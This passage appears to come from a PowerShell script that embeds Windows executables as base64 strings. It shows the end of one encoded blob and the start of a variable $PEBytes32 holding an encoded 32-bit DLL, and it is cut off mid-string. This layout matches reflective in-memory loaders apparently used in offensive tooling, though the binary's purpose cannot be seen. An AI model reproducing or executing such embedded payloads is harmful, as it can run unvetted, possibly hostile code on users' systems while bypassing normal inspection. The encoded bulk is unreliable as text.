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8Ir4CvkK+Yr6CvqK+wr7ivwK/Ir9Cv2K/gr+iv8K/4rwAgBQAcAAAAAKAIoNCh2KHgoeihEKoYqiCqAAAAMAUANAAAAHiniKeYp6inuKfIp9in6Kf4pwioGKgoqDioSKhYqGioeKiIqJioqKi4qMioAEAFALgAAAAgoDCgQKBQoGCgcKCAoJCgoKCwoMCg0KDgoPCgAKEQoSChMKFAoVChYKFwoYChkKGgobChwKHQoeCh8KEAohCiIKIwokCiUKJgonCigKKQoqCisKLAotCi4KLwogCjEKMgozCjQKNQo2CjcKOAo5CjoKOwo8Cj0KPgo/CjAKQQpCCkMKRApFCkYKRwpICkkKSgpLCkwKTQpOCk8KQApRClIKUwpUClUKVgpXClgKWQpQBQBQAQAQAA0KDYoOCg6KDwoPigAKEIoRChGKEgoSihMKE4oUChSKFQoVihYKFooXCheKGAoYihkKGYoaChqKGwobihwKHIodCh2KHgoeih8KH4oQCiCKIQohiiIKIoojCiOKJAokiiUKJYomCiaKJwoniigKKIopCimKKgoqiisKK4osCiyKLQotii4KLoovCi+KIAowijEKMYoyCjKKMwozijQKNIo1CjWKNgo2ijcKN4o4CjiKOQo5ijoKOoo7CjuKPAo8ij0KNQqFioYKhoqHCoeKiAqIiokKiYqKCoqKiwqLiowKjIqNCo2KjwqPioAKkIqRCpGKkgqSipMKk4qUCpSKlQqVipYKloqXCpAGAFABAAAADoovCi+KIAowBwBQAsAAAAKKAwoNCh2KHgoeih8KH4oQCiCKIQohiiIKIoojCiWK1grQAAAMAFAIQAAAAArgiuEK4YriCuKK4wrjiuQK5IrlCuWK5grmiucK54roCuiK6QrpiuoK6orrCuuK7Arsiu0K7YruCu6K7wrviuAK8IrxCvGK8gryivMK84r0CvSK9gr2ivcK94r4CviK+Qr5ivoK+or7CvuK/Ar8iv0K/Yr+Cv6K/wr/ivANAFABgAAAAAoAigEKAYoCCgKKAwoAAAAJAGADQBAAAAoDCgaKCgoNig4KDooPCg+KAAoQihGKFIoXChmKHQoRiiQKJwonii4KLwosij0KPYo+Cj6KPwo/ijAKQIpBCkGKQopDCkOKRApEikUKRYpGCkaKSQpKCkUKjQqQiqEKooqjCqQKpIqlCqWKpgqmiqcKp4qoCqiKqQqpiqoKqoqrCquKrAqsiq0KrYquCq6KrwqviqAKsIqxCrGKsgqyirMKs4q0CrSKtQq1irYKtoq3CreKuAq4irkKuoq7CruKvAq8ir0KvYq+Cr6Kvwq/irAKwIrBCsGKwgrCisMKw4rECsSKxQrFisYKxorHCseKyArIiskKyYrKCsqKywrLiswKzIrNCs2KzgrOis8Kz4rGitiK2orcit6K0orkCuSK5QrliuYK5ornCuAAAAoAYAwAAAABCkGKUopTilSKVYpWileKWIpZilqKW4pcil2KXopfilCKYYpiimOKZIplimaKZ4poimmKaoprimyKbYpmCpaKlwqXipgKmIqZCpmKmgqaipsKm4qcCpyKnQqdip4KnoqfCp+KkAqgiqEKoYqiCqKKowqjiqQKpIqlCqWKpgqmiqcKp4qoCqiKqQqpiqoKqoqrCquKrQqtiq4KroqvCq+KoAqwirEKsYqzCuYK7AruiuEK9Ar6CvAAAAsAYAkAAAAACgUKCgoOCgCKEwoVihgKGwodihAKIwopCi4KKYo6CjqKOwo7ijwKPIo9Cj2KPgo+ij8KP4owCkCKQQpBikIKQopDCkOKRApEikUKRYpGCkaKRwpHikgKSIpJCkmKSgpKiksKS4pMCkyKTQpNikKKVQpbCl0KUApmCmkKbwplCnoKfwp0CoiKgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=" + $PEBytes32 = "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